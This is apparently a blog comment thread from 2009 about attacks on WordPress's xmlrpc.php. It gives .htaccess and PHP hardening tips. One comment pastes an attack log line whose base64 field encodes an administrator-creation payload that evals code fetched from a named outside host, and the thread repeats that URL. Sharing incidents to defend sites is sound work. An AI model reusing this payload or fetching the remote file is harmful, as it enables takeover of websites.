Me

Well xmlrpc.php is used for pingbacks and external updates. Unfortunately many, like us, can’t delete the script because we need it for several legit stuff. However WordPress should be able to secure this file a little better.

I would rather it be very picky and through out some valid calls. I will say deleting the file is good. However if you put the above code in your .htaccess file you will be protected even if you forget to delete the file during an upgrade.

I know it is possible to have Apache cover this file better. I am working on another call (that I will post later) that will have Apache remove some of the dangerous payloads.

I know for example one thing would be to clear $user_login in xmlrpc.php and then load the config information. That way anything that is loaded at the URL will be reset. Or if $user_login is define abort.

if ($_REQUEST{'user_login'}) {
print "What the heck are you doing?!!!!";
die();
}

To stop it cold just disable your xmlrpc.php by deleting it or changing permissions until a patch is provided.

If you don’t want external calls I would just change the permissions to something like 400. That way on upgrades you won’t forget to alter that file. You could in your .htaccess file deny access to the file and never worry about it during upgrades, assuming your .htaccess file isn’t jacked with:

<FilesMatch "^xmlrpc.php">
	    Deny from all
	</FilesMatch>

For us the hack didn’t alter any files because we don’t have many with write privileges by the web server. Still they did have an admin account. Grrrr…

Unfortunately many blogs need xmlrpc.php on and simply changing the name isn’t the answer as its a published file in the code for the page.

@netslacker

Yup I decoded it. Damn annoying scripts.

rwboyer beat me to posting the first log. I found ours and its from a different IP. However that is no surprise as it is probably a botnet or compromised servers.

219.101.28.243 - - [03/Sep/2009:22:22:38 -0500] "POST /xmlrpc.php HTTP/1.1" 200 174 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdBZGFtU2x1c3Nlcjg1JzskdXNlcl9wYXNzPSdCWShkKCZ4OClLaXAnO2V2YWwoZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saW5rcy53ZWJ3b3JkcHJlc3MuY24vZGF0YS9zaG9ydHBhcnQyLnR4dCcpKTtleGl0Ow==" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en)"

The attacker also ran checks against “wp-login.php” and “wp-admin/options-permalink.php” before running the payload.

I should add that the payload is coming from the same place: https://links.webwordpress.cn/data/shortpart2.txt

Our payload just contained a different user/pass but was like the decode above.